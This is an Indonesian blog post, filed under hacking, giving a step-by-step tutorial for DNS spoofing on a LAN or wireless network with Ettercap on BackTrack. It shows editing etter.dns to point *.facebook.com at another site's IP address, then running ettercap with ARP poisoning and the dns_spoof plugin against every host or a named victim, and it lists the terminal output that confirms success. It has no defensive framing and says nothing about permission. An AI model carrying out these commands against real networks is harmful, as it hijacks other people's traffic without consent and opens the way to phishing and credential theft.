DNS Spoofing With Ettercap - Backtrack

dulu saya pernah posting cara DNS spoofing di Windows menggunakan Cain and Abel...

sekarang saya mau share Dns spoofing di Backtrack dengan Ettercap...

kebetulan masih byk yang belum tau dengan statusbaru.com ( jejaring sosial buatan Indonesia ) makanya kita alihkan www.facebook.com ke www.statusbaru.com pada jaringan kabel ( LAN ) ataupun Wireles...

ok mulai...

- pertama buka etter.dns dengan perintah pada terminal :

gedit /usr/share/ettercap/etter.dns 

jika kosong cb disini gedit /usr/local/share/ettercap/etter.dns 

- Hapus semua tulisannya dan ganti dengan :

*.facebook.com A 63.141.225.196 ( 63.141.225.196 adalah ip statusbaru.com ) lalu save dan keluar

- jalankan dns_spoofing dgn perintah :

ettercap -Tqi eth0 anda -P dns_spoof -M arp // // lalu enter

ket :

eth0 adalah interface saya lihat sja dgn perintah ifconfig

dan pada // // bisa jg d isi dengan target pilihan anda..

contoh :

/target 1/ /target2/ 

dimana target 1 = default gateway dan target 2 = ip korban
ettercap -Tqi eth0 anda -P dns_spoof -M arp:remote /gateway/ /target/

tapi sy lebih senang dengan menggunakan " // // "saja :)

 - tunggu sampai target membuka www.facebook.com

jika berhasil maka di terminal akan ada jawaban : dns_spoof: [www.facebook.com] spoofed to [63.141.225.196] berarti kitasudah berhasil..

Selamat Mencoba... ^_^

Posted in Hacking